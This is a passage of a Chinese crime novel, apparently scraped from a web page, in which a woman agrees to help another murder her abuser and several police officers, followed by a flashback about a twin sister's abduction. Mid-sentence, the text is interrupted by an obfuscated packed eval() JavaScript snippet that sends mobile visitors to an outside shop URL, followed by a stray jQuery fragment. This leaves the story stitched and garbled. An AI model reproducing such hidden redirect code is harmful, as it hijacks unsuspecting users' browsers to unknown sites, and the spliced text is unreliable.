消毒水和消毒水的味道是不一样的,东华制药的消毒水是纯粹的,佑安医院的消毒水是浑浊的。
因为医院的人太多了。
林佳姝步入医院的大厅,来来往往的人走向她,来来往往的人经过她,没有好奇,也没有停留,仿佛她是个透明的幽灵。
开了胶的座位上,有个孩子枕着大人的腿睡着了,父亲样子的男人整跟另一个人抱怨老婆的医药费用太贵。
头发花白的老人被两个中年妇女搀扶着,嘴里你来我往地诉说自己照顾老人的不易,明显是妯娌在为她们平庸的男人争夺家产。
坐轮椅的男人被年轻的护士推动着,腿上虽然打着石膏,他仍然大声跟护士调笑。
林佳姝被定格在大厅中间,雕像一样伫立着,黑亮的眼睛像仪表的射线,一次次扫视眼前的人群。
她面无表情,眼底却燃烧起怒火。
庸俗的人类,无聊的人类。
永远为了鸡毛蒜皮的小事斗得你死我活,永远放纵自己的欲望,永远不按照社会规定的秩序行走。
这么活着有什么意义?这样的秩序有什么意义?
突然,她的眼神停顿,像是看到了最恐怖的画面。
杜宇搂着一个女人朝她走来,脸上挂着挑衅的笑,那个女人怀里抱着襁褓,低头逗着襁褓中的婴儿,感应到了什么一般,也抬起头看向自己。
竟然是自己的脸!
她瞳孔放大,整个人像钉子一样被钉在原地。再一眨眼,眼前的两人恢复成路人的面貌,和其他路人一样无视并路过她。
林佳姝闭上眼睛深呼吸,垂在腿边的手使劲掐了下自己的大腿。
她控制自己的心,控制自己的眼神,控制自己的脚步,往住院部的方向走去。
乔招娣的病房在二楼,单独病房。她一进来就闻到医疗试剂和□□混杂在一起的复杂味道,林佳姝皱着眉头,看向病床上的人。
三个女孩站在床边,个子最高的那个怀里还抱着襁褓,几双好奇的眼睛齐刷刷地看向她。
“来了?”
林佳姝点点头,看见中等个头的女孩搬来塑料椅子,眼神亮晶晶地看着她。
“阿姨,你坐这里。”
她扬起嘴角,摸摸女孩的脑袋。
乔招娣从大女儿手里接过孩子,借口让女儿们出了房间。
“你找我,就是因为生儿子了?”
林佳姝开口还是一贯的阴阳怪气,脚步靠近乔招娣母子,目光不自觉地注视着襁褓中的婴儿。
粉粉嫩嫩的小团子,脸颊光滑得像鸡蛋一样,她忍不住用食指刮了下孩子的脸,他在睡梦中也不得安宁,像是有什么感应,闭着眼睛叫了两声。
回答她的是一阵沉默。
“他长得一点都不像你。”
林佳姝说这话的时候脸上仍然带着嘲弄。
“他长得像他的爸爸。”
乔招娣沙哑的声音传来,像在诉说一件稀松平常的事。
她的手停顿了。
林佳姝收回了目光中的温情,挺起腰身,居高临下,冰冷地俯视乔招娣。
她的头发凌乱,目光是死一样的平静,颈纹松松垮垮,病号服掩盖不住脖子上的抓痕,胸前甚至还粘上了奶渍。
林佳姝冷笑一声,毫不掩饰地露出蔑视的目光。她从心里看不起这副逆来顺受的奴才样。
“长得不像爸爸还能像谁?”
林佳姝说罢便直视着对方,要从那张被岁月刻薄过的脸上找到一丝反抗的痕迹。
但乔招娣隐藏得很好。
林佳姝咧开嘴又笑了笑,转过头不再看她。
“佳姝,你后不后悔二十年前......帮了我?”
林佳姝侧对着她,内心被这个问题激起一阵涟漪。
后悔?
后悔是对过去自己的背叛。
二十年来的一点一滴,走马灯一般在她的眼前上演,伴随着童年的歌谣。
林佳姝从来不会背叛自己。
“现在不是二十年前。”
林佳姝知道她为什么这么拐弯抹角,无非是得知了吴金升的事情,知道这些出自林佳姝的手笔,知道她正在经受林佳姝的羞辱。
除此之外她还在试探,试探现在的自己愿意为她做到哪种程度。
林佳姝摇摇头笑出声,转身走向门口,现在的她早就过了冲动杀人的年龄,怎么可能顺着乔招娣的心思往下走。
“那现在呢?你还愿意帮我吗?”乔招娣的声音非常急切,“我真的受不了了!”
果然,她被自己逼得说了实话。
林佳姝得意地转过头,环绕病房踱步。
“你想我怎么帮你?”
“杀了他!”
她的声音冰冷,眼里满是恨意,和刚才那副窝囊的她判若两人。
林佳姝看向乔招娣,目光带着审视和考究,大脑在飞速思考着对策。乔招娣见她沉默,以为她不愿意帮忙,激动道:
“你可以连着乔耀祖一起!”
乔招娣怀里抱着不满一月的儿子,嘴里用自己父亲的命作为筹码:
“这样不管再过多少年,你过去的事情绝对不会有人知道,我发誓!就算警察真的找我,我也不会说的,毕竟当年你是为了我。”
林佳姝端详着她恶毒的嘴脸,扬起一抹满意的微笑。
这就对了,遇到不公的待遇,反抗才是唯一正确的选择。
“可以,但是我有一个要求。”
“什么要求?”
林佳姝掏出手机,手指在屏幕上点了几下,展示给她一张截图,画面里的人穿着警服,站在发言台前,个个如松树般挺拔。后面的横幅上挂着几个大字:黑榜凶案专案组成立。
她一眼就看到其中的那个女孩,那个跟自己长着相似的脸的女孩。她眉毛上扬,怔怔地看着女孩胸前的名字:
马思明。
是妈妈的女儿吗?
林佳姝修长的手指点了点马思明的身影,恶魔般在她耳畔低语,“这些人,我要你一起除掉。”
乔招娣猛地抬起头,对上林佳姝揶揄的眼神。
“她只是凑巧跟你长得像而已,我调查过了。”
她将信将疑地把襁褓放在一边,双手接过手机,将屏幕放大,细细看着这些人的脸。她看到两个熟悉的男人,孩子早产之前,她被吴金升再次欺负的时候,是他们出来制止的。
“为什么要杀了他们?”
“他们一直在查我。”
“一定要杀吗?”
“是,一定要!”林佳姝的眼神变得冰冷。
“佳姝,算了吧。”
乔招娣对上她的眼神,额间渗出冷汗,试图劝阻道:“他们是警察,跟吴金升这种人不一样......
“我不管!”
杜宇濒死的脸频繁在她眼前闪烁,她已经快疯了。
她连他都下得了手,这些人又算得了什么?
“乔招娣,你要搞清楚,现在是你求我帮忙,我自己当然有一万种方法可以除掉他们。”
林佳姝狞笑着看着她,“可是你呢,如果没有我,你要怎么逃脱那两个混蛋的魔爪?”
乔招娣颤抖着睫毛,犹豫着看向襁褓中的孩子,内心天人交战。
自由来之不易,她想要争取唯一的机会。
林佳姝坐到她的床边,伸出手替乔招娣整理了下胸前的衣服,柔声道:“你还记得吗,警察带走你爸爸的那天晚上,你偷偷来我家找我,你说,你从那个房子里看到了妈妈的名字。”
乔招娣的动作一顿,又陷入记忆的深渊。她的嘴角微微扬起:“我记得。”
“她叫什么?”
乔招娣的脸上带着笑意:“谭渝汐。”
她顿了顿,评价道,“她的名字真好听。”
“那么你呢?”林佳姝凑近她,“你还想要好听的名字吗?”
乔招娣思绪回笼,眼神逐渐变得坚定,她对上林佳姝的眼睛,平静道:“我要。”
一块大石头落了地,林佳姝面不改色地叹了口气。
撒谎总归是要付出一些精力的,更何况是对童年的玩伴。
“好,你放心,只要你听我的,我一定会帮你。”林佳姝信誓旦旦地看着她。
“到时候,乔招娣一定会跟这些糟糕的过去一起,彻底消失
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895042|212835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
谭珠琳和谭渝汐是一对双胞胎姐妹,两人出身相同,长相相似,在生活里自然避免不了暗暗比较。
谭珠琳想考警察,谭渝汐就想出国,她对外国文学非常痴迷,渴望着前往英国留学。八十年代刚刚开放不久,连学习英语都是奢侈,她的决定一直被父母认为是异想天开。
谭珠琳聪明、勇敢、正直,很快就通过了警察考试。谭渝汐眼看着家里人的目光都给了姐姐,更加疯狂地准备出国的考试。
转折就发生考试。
她一共考了六次,整整两年,完全废寝忘食。她的得分从一开始距离分数线只差两分,到后来越来越低,精神状态也每况日下,常常恍惚,分不清梦境和现实。
大家都说她中了邪,她偶尔清醒,偶尔糊涂,怀里经常抱着一本《奥德赛》。
她们的父母都是单位里的领导,平时已经非常忙碌。谭珠琳照顾了她一段时间,也开始忙着新入职的琐事,在某个夜晚,她看着街上挂着的英文电影海报,不知不觉走了出去。
等到她意识渐渐清醒,精神稍微好点的时候,她发现自己在一个完全陌生的地方,四周静悄悄、黑漆漆的,自己被铁链拷在床上。
一个陌生的男人朝她走来。
她很快生下一个女儿,因为这家人不懂怀孕,只以为她是长胖了,等到她羊水破了才送到镇上的医院,医生说送来的太晚,她再也不能有自己的孩子了。
因为这个事情,她被殴打的情况越来越多,那个男人很痛苦,常常借酒消愁,将怒火发泄到她身上。但随着孩子一天天长大,他也接受了自己命里无子这个事实。
她身上疼得厉害,每一寸皮肤都写满了恨,她恨这里的一切,包括和那个恶魔结合生下的骨肉。
她在床上蜷缩成一团,铁链跟着她的动作发出叮当的响声,她想象自己睡在家里温暖的大床上,想象珠琳跟她分享警局的糗事,想象父母为她做一顿好饭。
这样幸福而平淡的日子,她觉得像上辈子一样。
她祈祷自己永远疯疯癫癫,这样就不会在清醒的时候痛苦,但上天偏偏跟她过不去,她越是痛苦,就越是清醒。
她清醒地看着自己在这个屋里度过几年的光阴。
直到那个夜晚,那个男人没有回来的那个夜晚。
锁住谭渝汐的锁链松动,她努力挣脱,因此逃了出来,她连滚带爬地逃到院落里。
天阴沉沉的,几个穿着警服的人,跟一个陌生男人一起过来,她被吓得愣住了,只看着他们的警服发呆。
警察,他们是警察,跟珠琳一样的警察。
他们一定能帮我!
她立马跪倒在警察面前,拼命给他们磕头,求求他们救救自己。
那个陌生男人往后一转头,熟悉的恶魔便窜了出来,一把将她从地上捞起,扔回她的监狱。
她的两只手死死扒住门框,听到陌生男人点头哈腰。
“这是俺庄耀祖收养的老婆,发烧脑子烧坏了。”
他还在给那两个警察散烟,他们熟练地接过,“人家家务事,咱确实不好掺和。”
“我没有病!”
她大声呼救,迎接她的是一顿更加毒辣的拳打脚踢。
“我没有病,我好好的,我不属于这里。”她喃喃道,被男人塞了一嘴破抹布。
他重新将铁链绑上,把她的双手交叠在身后,系的死死的,又把她的脚锁在床尾。他掐着自己的脖子,让自己看清那张恶毒的脸。
“老子不出来,你也别想出来!”
她的泪水划过布满灰尘的脸,滚动着滴落在破布上。
男人大力地将门一摔,启动那台他引以为傲的机器,稳稳停在了门前。
她绝望地睁大了眼。
她的听觉在黑暗中更发达,她听到了那个老太婆的声音,还有孩子的脚步声。他们走出院落,来到外面,跟她只隔着一面墙。
她听到了老太婆的啜泣声、众人讨论的声音,和警笛的声音。
她用脚使劲踹那堵墙,没有任何回复。
为什么?为什么警察不管?他们明明是警察啊!
珠琳,我好想你。